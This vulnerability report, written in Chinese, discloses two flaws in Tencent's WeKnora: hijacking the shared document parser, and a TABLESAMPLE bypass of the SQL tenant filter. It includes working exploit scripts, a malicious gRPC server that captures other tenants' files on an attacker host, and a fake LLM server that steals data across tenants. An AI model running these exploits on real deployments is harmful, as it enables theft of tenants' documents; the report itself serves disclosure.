WeKnora 漏洞报告

软件名称:WeKnora

开发者或厂商:Tencent

代码仓库:https://github.com/Tencent/WeKnora

1. 租户可劫持全局文档解析服务

简要描述:任一租户的管理员可以把进程级 DocReader 连接改到自己的服务器,其他租户上传的文档原文会被发送到该服务器。
影响版本:0.3.2 ~ 0.9.0
前置条件:攻击者拥有一个租户的 Owner 或 Admin 角色(默认部署允许公开注册并自动创建个人空间成为 Owner,故攻击者注册账号即可满足这一条件)

漏洞成因

POST /api/v1/system/docreader/reconnect 只校验调用者在当前租户中的角色。相关代码如下:

// internal/router/routes_auth_tenant.go:282    commit f17ee8a8da
systemRoutes.POST("/docreader/reconnect", g.Admin(), handler.ReconnectDocReader)

g.Admin() 的校验对象是租户角色,定义见 internal/router/rbac.go:204-205:

// internal/router/rbac.go:204-205    commit f17ee8a8da
func (g *rbacGuards) Admin() gin.HandlerFunc {
	return middleware.RequireRole(types.TenantRoleAdmin, g.cfg)
}

TenantRoleAdmin 是角色阶梯中的最低要求,HasPermission 按等级比较,Owner 的等级 40 高于 Admin 的 30,因此 Owner 也能通过该守卫。相关代码如下:

// internal/types/tenant_member.go:36-61    commit f17ee8a8da
var tenantRoleLevel = map[TenantRole]int{
	TenantRoleOwner:       40,
	TenantRoleAdmin:       30,
	TenantRoleContributor: 20,
	TenantRoleViewer:      10,
}

func (r TenantRole) HasPermission(required TenantRole) bool {
	return r.Level() >= required.Level()
}

处理器只对 addr 做一次 SSRF 校验,随后调用全局 documentReader:

// internal/handler/system.go:460-511    commit f17ee8a8da
func (h *SystemHandler) ReconnectDocReader(c *gin.Context) {
	var req struct {
		Addr string `json:"addr" binding:"required"`
	}
	if err := c.ShouldBindJSON(&req); err != nil {
		c.JSON(400, gin.H{"code": 1, "msg": "请提供 addr 参数"})
		return
	}
	// ...
	addr := strings.TrimSpace(req.Addr)
	if err := secutils.ValidateURLForSSRF(addr); err != nil {
		c.JSON(400, gin.H{"code": 1, "msg": secutils.FormatSSRFError("DocReader 地址", addr, err)})
		return
	}
	if err := h.documentReader.Reconnect(addr); err != nil {
		c.JSON(200, gin.H{"code": 1, "msg": fmt.Sprintf("连接失败: %v", err)})
		return
	}
	_, docreaderTransport := h.getDocReaderConnInfo()
	c.JSON(200, gin.H{"code": 0, "msg": "连接成功", "docreader_addr": addr, "docreader_transport": docreaderTransport, "connected": true})
}

initDocReaderClient 在容器启动时只注册一次,知识处理服务和系统处理器注入的是同一个 interfaces.DocumentReader 实例:

// internal/container/container.go:156    commit f17ee8a8da
must(container.Provide(initDocReaderClient))

GRPCDocumentReader.Reconnect 把新地址写入连接,后续 Read 使用该地址发送文档内容:

// internal/infrastructure/docparser/grpc_parser.go:85-96    commit f17ee8a8da
func (p *GRPCDocumentReader) Reconnect(addr string) error {
	p.mu.Lock()
	defer p.mu.Unlock()
	if p.conn != nil {
		_ = p.conn.Close()
		p.conn = nil
		p.client = nil
		p.addr = ""
	}
	return p.connect(addr)
}
// internal/infrastructure/docparser/grpc_parser.go:140-152    commit f17ee8a8da
protoReq := &proto.ReadRequest{
	FileContent: req.FileContent,
	FileName:    req.FileName,
	FileType:    req.FileType,
	Url:         req.URL,
	Title:       req.Title,
	RequestId:   req.RequestID,
}

鉴权按租户授予,被修改的对象却属于整个进程。任一租户管理员调用重连接口后,所有租户的文档都会发往该地址。

复现环境搭建

按官方快速上手启动 v0.9.0:

git clone https://github.com/Tencent/WeKnora.git
cd WeKnora
cp .env.example .env
sed -i "s|^WEKNORA_VERSION=.*|WEKNORA_VERSION=v0.9.0|" .env
sed -i "s|^JWT_SECRET=.*|JWT_SECRET=$(openssl rand -hex 32)|" .env
sed -i "s|^SYSTEM_AES_KEY=.*|SYSTEM_AES_KEY=$(openssl rand -hex 16)|" .env
docker compose pull
docker compose up -d
curl http://localhost:8080/health

前端在 http://localhost,后端在 http://localhost:8080。复现使用官方 wechatopenai/weknora-app:v0.9.0 与 wechatopenai/weknora-docreader:v0.9.0。

复现过程

攻击者在公网服务器上启动 gRPC 服务,本文使用域名 attacker.yulun.ac.cn。攻击者服务实现如下:

import logging
from concurrent import futures

import grpc

from docreader.proto import docreader_pb2, docreader_pb2_grpc

logging.basicConfig(level=logging.INFO)


class Server(docreader_pb2_grpc.DocReaderServicer):
    def Read(self, request, context):
        data = request.file_content
        logging.info(
            "CAPTURED read file_name=%r file_type=%r bytes=%d overrides=%r content_prefix=%r",
            request.file_name, request.file_type, len(data),
            dict(request.config.parser_engine_overrides), data[:64],
        )
        with open("captured.bin", "wb") as handle:
            handle.write(data)
        return docreader_pb2.ReadResponse(markdown_content="# captured by attacker\n",
                                          metadata={"engine": "evil"})

    def ReadStream(self, request, context):
        data = request.file_content
        logging.info(
            "CAPTURED stream file_name=%r file_type=%r bytes=%d overrides=%r content_prefix=%r",
            request.file_name, request.file_type, len(data),
            dict(request.config.parser_engine_overrides), data[:64],
        )
        with open("captured.bin", "wb") as handle:
            handle.write(data)
        yield docreader_pb2.ReadStreamResponse(meta=docreader_pb2.ReadStreamMeta(
            markdown_content="# captured by attacker\n", image_count=0))

    def ListEngines(self, request, context):
        return docreader_pb2.ListEnginesResponse(engines=[
            docreader_pb2.ParserEngineInfo(name="evil", description="evil", available=True)
        ])

    def PreprocessImage(self, request, context):
        return docreader_pb2.PreprocessImageResponse()

    def GetInfo(self, request, context):
        return docreader_pb2.GetInfoResponse(version="evil", commit_id="evil")


server = grpc.server(futures.ThreadPoolExecutor(max_workers=4))
docreader_pb2_grpc.add_DocReaderServicer_to_server(Server(), server)
server.add_insecure_port("0.0.0.0:50051")
server.start()
logging.info("evil docreader listening on 50051")
server.wait_for_termination()

在攻击服务器上,将上面的服务保存为当前目录下的 evil_docreader.py。然后执行:

mkdir -p docreader/proto
wget -q -O docreader/proto/docreader_pb2.py https://raw.githubusercontent.com/Tencent/WeKnora/f17ee8a8da/docreader/proto/docreader_pb2.py
wget -q -O docreader/proto/docreader_pb2_grpc.py https://raw.githubusercontent.com/Tencent/WeKnora/f17ee8a8da/docreader/proto/docreader_pb2_grpc.py
touch docreader/__init__.py docreader/proto/__init__.py
uv run --with grpcio --with protobuf python evil_docreader.py > evil.log 2>&1 &

在浏览器注册受害者账号 victim@report.local,创建知识库 victim-kb,上传一份 PDF,等待状态变为“已完成”:

受害租户的知识库

注册攻击者账号 attacker@report.local,执行以下脚本:

import httpx

BASE = "http://127.0.0.1:8080"
ATTACKER_ADDR = "attacker.yulun.ac.cn:50051"


def post(path, body, token=None):
    headers = {"Authorization": "Bearer " + token} if token else {}
    return httpx.post(BASE + path, json=body, headers=headers)


post("/api/v1/auth/register", {
    "username": "attacker",
    "email": "attacker@report.local",
    "password": "Attacker@123",
})
token = post("/api/v1/auth/login", {
    "email": "attacker@report.local",
    "password": "Attacker@123",
}).json()["token"]
response = post("/api/v1/system/docreader/reconnect", {
    "addr": ATTACKER_ADDR,
}, token)
result = response.json()
print(response.status_code)
print({key: result[key] for key in ("code", "connected", "docreader_addr", "docreader_transport", "msg")})

脚本输出如下:

200
{'code': 0, 'connected': True, 'docreader_addr': 'attacker.yulun.ac.cn:50051', 'docreader_transport': 'grpc', 'msg': '连接成功'}

受害租户随后上传文档,攻击者服务收到原始文件:

INFO:root:CAPTURED stream file_name='text.pdf' file_type='pdf' bytes=90060 overrides={} content_prefix=b'%PDF-1.7\n%\xc3\xa4\xc3\xbc\xc3\xb6\xc3\x9f\n2 0 obj\n<</Length 3 0 R/Filter/FlateDecode>>\n'

在攻击者容器中计算捕获文件的哈希,并与受害租户上传的 PDF 对照:

7d1fd0932634cffa80bf9fb1bd73a6871f82a2cb29b4d7bcfb689927bc5d84e7  captured.bin
7d1fd0932634cffa80bf9fb1bd73a6871f82a2cb29b4d7bcfb689927bc5d84e7  text.pdf

app 日志显示受害租户的解析结果已被攻击者返回的 Markdown 替换:

[DocReader] Chunk #0 内容预览: # captured by attacker

2. 数据库查询工具绕过租户隔离

简要描述:database_query 工具的 SQL 重写只处理普通表引用和 JOIN,攻击者可以把一张表放进 TABLESAMPLE 子句,再用另一张普通表通过校验,从而读取其他租户的 chunks 正文。
影响版本:0.2.11 ~ 0.9.0
前置条件:攻击者拥有一个租户的 Owner 或 Admin 角色,能配置自己的模型并把 database_query 加入自定义智能体。

漏洞成因

database_query 在执行 SQL 前调用 ValidateAndSecureSQL,该函数用 pg_query 解析语句并重写 FROM 子句。相关代码如下:

// internal/agent/tools/database_query.go:252-277    commit f17ee8a8da
func (t *DatabaseQueryTool) validateAndSecureSQL(sqlQuery string, tenantID uint64) (string, error) {
	searchScopes := searchScopesFromTargets(t.searchTargets)
	if len(searchScopes) == 0 {
		return "", fmt.Errorf("no effective Agent knowledge scope is available")
	}
	securedSQL, validationResult, err := utils.ValidateAndSecureSQL(
		sqlQuery,
		utils.WithSecurityDefaults(tenantID),
		utils.WithSoftDeleteFilter("knowledge_bases", "knowledges", "chunks"),
		utils.WithHiddenKBFilter(),
		utils.WithChunkEnabledFilter(),
		utils.WithInjectionRiskCheck(),
		utils.WithSearchScopes(searchScopes),
	)
	if err != nil {
		return "", err
	}
	if !validationResult.Valid {
		var errMsgs []string
		for _, valErr := range validationResult.Errors {
			errMsgs = append(errMsgs, fmt.Sprintf("%s: %s", valErr.Type, valErr.Message))
		}
		return "", fmt.Errorf("validation failed: %s", strings.Join(errMsgs, "; "))
	}
	return securedSQL, nil
}

重写函数只识别 RangeVar 和 JoinExpr,其他 FROM 节点返回 nil:

// internal/utils/inject.go:937-975    commit f17ee8a8da
injectFrom = func(node *pg_query.Node) error {
	if rv := node.GetRangeVar(); rv != nil {
		alias := rv.Relname
		if rv.Alias != nil {
			alias = rv.Alias.Aliasname
		}
		tables := map[string]string{strings.ToLower(rv.Relname): quoteSQLIdentifier(alias)}
		fragment := "SELECT 1"
		fragment = validator.injectTenantConditions(fragment, tables)
		fragment = validator.injectSoftDeleteConditions(fragment, tables)
		fragment = validator.injectHiddenKBFilter(fragment, tables)
		fragment = validator.injectChunkEnabledFilter(fragment, tables)
		fragment = validator.injectSearchScopeConditions(fragment, tables)
		filters, err := pg_query.Parse(fragment)
		if err != nil {
			return fmt.Errorf("failed to build SQL security filter: %w", err)
		}
		addSQLPredicate(stmt, filters.Stmts[0].Stmt.GetSelectStmt().WhereClause)
	}
	if join := node.GetJoinExpr(); join != nil {
		if err := injectFrom(join.Larg); err != nil {
			return err
		}
		return injectFrom(join.Rarg)
	}
	return nil
}

校验函数同样只处理 RangeVar、JoinExpr、RangeSubselect 和 RangeFunction,末尾返回 nil:

// internal/utils/inject.go:1508-1568    commit f17ee8a8da
func (v *sqlValidator) validateFromItem(node *pg_query.Node, tables map[string]string, result *SQLValidationResult) error {
	if node == nil {
		return nil
	}
	if rv := node.GetRangeVar(); rv != nil {
		tableName := strings.ToLower(rv.Relname)
		// ...
		alias := tableName
		if rv.Alias != nil && rv.Alias.Aliasname != "" {
			alias = strings.ToLower(rv.Alias.Aliasname)
		}
		tables[tableName] = alias
		return nil
	}
	if je := node.GetJoinExpr(); je != nil {
		if err := v.validateFromItem(je.Larg, tables, result); err != nil {
			return err
		}
		if err := v.validateFromItem(je.Rarg, tables, result); err != nil {
			return err
		}
		if je.Quals != nil {
			if err := v.validateNode(je.Quals, result); err != nil {
				return err
			}
		}
		return nil
	}
	if rss := node.GetRangeSubselect(); rss != nil {
		if v.checkSubqueries {
			return fmt.Errorf("subqueries in FROM clause are not allowed")
		}
		return v.validateSubquery(rss.Subquery, tables, result)
	}
	if node.GetRangeFunction() != nil {
		return fmt.Errorf("functions in FROM clause are not allowed")
	}
	return nil
}

RangeTableSample 节点没有对应分支,校验和重写都会跳过它。攻击者用一张普通表满足“至少有一个有效表”的检查,把真正要读取的表放进 TABLESAMPLE:

SELECT c.content
FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b
LIMIT 50

重写后的 SQL 只给 b 加租户条件,c 没有条件:

SELECT c.content
FROM chunks c TABLESAMPLE bernoulli(100), knowledge_bases b
WHERE b.tenant_id = 10001
LIMIT 50

复现环境搭建

清空环境后,按官方快速上手重新启动 v0.9.0:

cd WeKnora
docker compose down -v
cp .env.example .env
sed -i "s|^WEKNORA_VERSION=.*|WEKNORA_VERSION=v0.9.0|" .env
sed -i "s|^JWT_SECRET=.*|JWT_SECRET=$(openssl rand -hex 32)|" .env
sed -i "s|^SYSTEM_AES_KEY=.*|SYSTEM_AES_KEY=$(openssl rand -hex 16)|" .env
docker compose pull
docker compose up -d
curl http://localhost:8080/health

复现过程

攻击者在 attacker.yulun.ac.cn:8000 上准备一个 OpenAI 兼容服务,对 chat/completions 返回 database_query 的 tool_call。最小服务如下:

from http.server import BaseHTTPRequestHandler, HTTPServer
import json
import re

SQL = "SELECT c.content FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b LIMIT 50"
DIM = 1024


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        if not self.path.endswith("/models"):
            self.send_response(404)
            self.end_headers()
            return
        body = json.dumps({"object": "list", "data": [{"id": "fake-1", "object": "model"}]}).encode()
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_POST(self):
        if not (self.path.endswith("/chat/completions") or self.path.endswith("/embeddings")):
            self.send_response(404)
            self.end_headers()
            return
        length = int(self.headers.get("Content-Length", 0))
        request = json.loads(self.rfile.read(length) or b"{}")
        if self.path.endswith("/embeddings"):
            inputs = request.get("input") or []
            if isinstance(inputs, str):
                inputs = [inputs]
            body = json.dumps({
                "object": "list",
                "data": [{"object": "embedding", "index": i, "embedding": [0.01] * DIM} for i in range(len(inputs))],
                "model": request.get("model", "fake-embed"),
            }).encode()
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.send_header("Content-Length", str(len(body)))
            self.end_headers()
            self.wfile.write(body)
            return
        messages = request.get("messages") or []
        text = "".join(str(message.get("content") or "") for message in messages)
        has_tool_result = any(message.get("role") == "tool" for message in messages)
        match = None if has_tool_result else re.search(r"SQLQUERY:(.+)$", text, re.S)
        tool_call = None
        if match:
            tool_call = {
                "index": 0,
                "id": "call_sql",
                "type": "function",
                "function": {"name": "database_query", "arguments": json.dumps({"sql": match.group(1).strip()})},
            }
        stream = request.get("stream", False)
        content = None if tool_call else "FAKE_OK"
        if stream:
            delta = {"role": "assistant", "content": content}
            if tool_call:
                delta["tool_calls"] = [tool_call]
            first = {
                "id": "chatcmpl-1",
                "object": "chat.completion.chunk",
                "created": 1,
                "model": "fake",
                "choices": [{"index": 0, "delta": delta, "finish_reason": None}],
            }
            last = {
                "id": "chatcmpl-1",
                "object": "chat.completion.chunk",
                "created": 1,
                "model": "fake",
                "choices": [{"index": 0, "delta": {}, "finish_reason": "tool_calls" if tool_call else "stop"}],
            }
            body = ("data: " + json.dumps(first) + "\n\ndata: " + json.dumps(last) + "\n\ndata: [DONE]\n\n").encode()
            self.send_response(200)
            self.send_header("Content-Type", "text/event-stream")
        else:
            message = {"role": "assistant", "content": content}
            if tool_call:
                message["tool_calls"] = [tool_call]
            body = json.dumps({
                "id": "chatcmpl-1",
                "object": "chat.completion",
                "created": 1,
                "model": "fake",
                "choices": [{"index": 0, "message": message, "finish_reason": "tool_calls" if tool_call else "stop"}],
            }).encode()
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)


HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()

在攻击服务器上,将上面的服务保存为当前目录下的 fake_llm.py,然后执行:

python3 fake_llm.py > fake_llm.log 2>&1 &

受害租户注册后创建知识库,embedding 模型指向 http://attacker.yulun.ac.cn:8000/v1 并设置维度 1024,上传 secret.md,内容为 VICTIM_SECRET_CHUNK_CONTENT_98765:

受害租户的知识库

注册攻击者账号 attacker@report.local,执行以下脚本创建模型、知识库、智能体和会话,然后发送 SQL 查询:

import httpx

BASE = "http://127.0.0.1:8080"
ATTACKER_DOMAIN = "attacker.yulun.ac.cn"
SQL = "SELECT c.content FROM chunks AS c TABLESAMPLE BERNOULLI(100), knowledge_bases AS b LIMIT 50"


def post(path, body, token=None):
    headers = {"Authorization": "Bearer " + token} if token else {}
    return httpx.post(BASE + path, json=body, headers=headers)


post("/api/v1/auth/register", {
    "username": "attacker",
    "email": "attacker@report.local",
    "password": "Attacker@123",
})
token = post("/api/v1/auth/login", {
    "email": "attacker@report.local",
    "password": "Attacker@123",
}).json()["token"]

model = post("/api/v1/models", {
    "name": "fake-chat",
    "type": "KnowledgeQA",
    "source": "remote",
    "parameters": {
        "base_url": f"http://{ATTACKER_DOMAIN}:8000/v1",
        "api_key": "sk-fake",
        "interface_type": "openai",
    },
}, token).json()["data"]

kb = post("/api/v1/knowledge-bases", {
    "name": "attacker-kb",
    "description": "x",
    "type": "document",
}, token).json()["data"]

agent = post("/api/v1/agents", {
    "name": "sql-agent",
    "description": "x",
    "config": {
        "agent_mode": "smart-reasoning",
        "agent_type": "custom",
        "model_id": model["id"],
        "allowed_tools": ["database_query", "thinking", "todo_write"],
        "kb_selection_mode": "selected",
        "knowledge_bases": [kb["id"]],
        "mcp_selection_mode": "none",
        "skills_selection_mode": "none",
    },
}, token).json()["data"]

session = post("/api/v1/sessions", {"title": "sql"}, token).json()["data"]
response = post("/api/v1/agent-chat/" + session["id"], {
    "query": "SQLQUERY:" + SQL,
    "agent_enabled": True,
    "agent_id": agent["id"],
    "knowledge_base_ids": [kb["id"]],
    "channel": "web",
    "disable_title": True,
}, token)
print(response.status_code)
print(response.text)

脚本输出的工具结果包含受害租户的 chunk:

200
data:{"id":"d73b155e-2514-418e-824b-fba455cd9666","response_type":"tool_result","content":"Tool completed (database_query; payload omitted from history)","done":false,"data":{"columns":["content"],"display_type":"database_query","duration_ms":164,"error":"","row_count":1,"rows":[{"content":"VICTIM_SECRET_CHUNK_CONTENT_98765\n"}],"success":true,"tool_call_id":"call_sql","tool_name":"database_query"}}

受害租户自己的 chunk 列表可以确认该内容属于 tenant 10000:

knowledge 6103813e-0ace-41ec-b077-a3f3da11bc26 status completed
VICTIM_SECRET_CHUNK_CONTENT_98765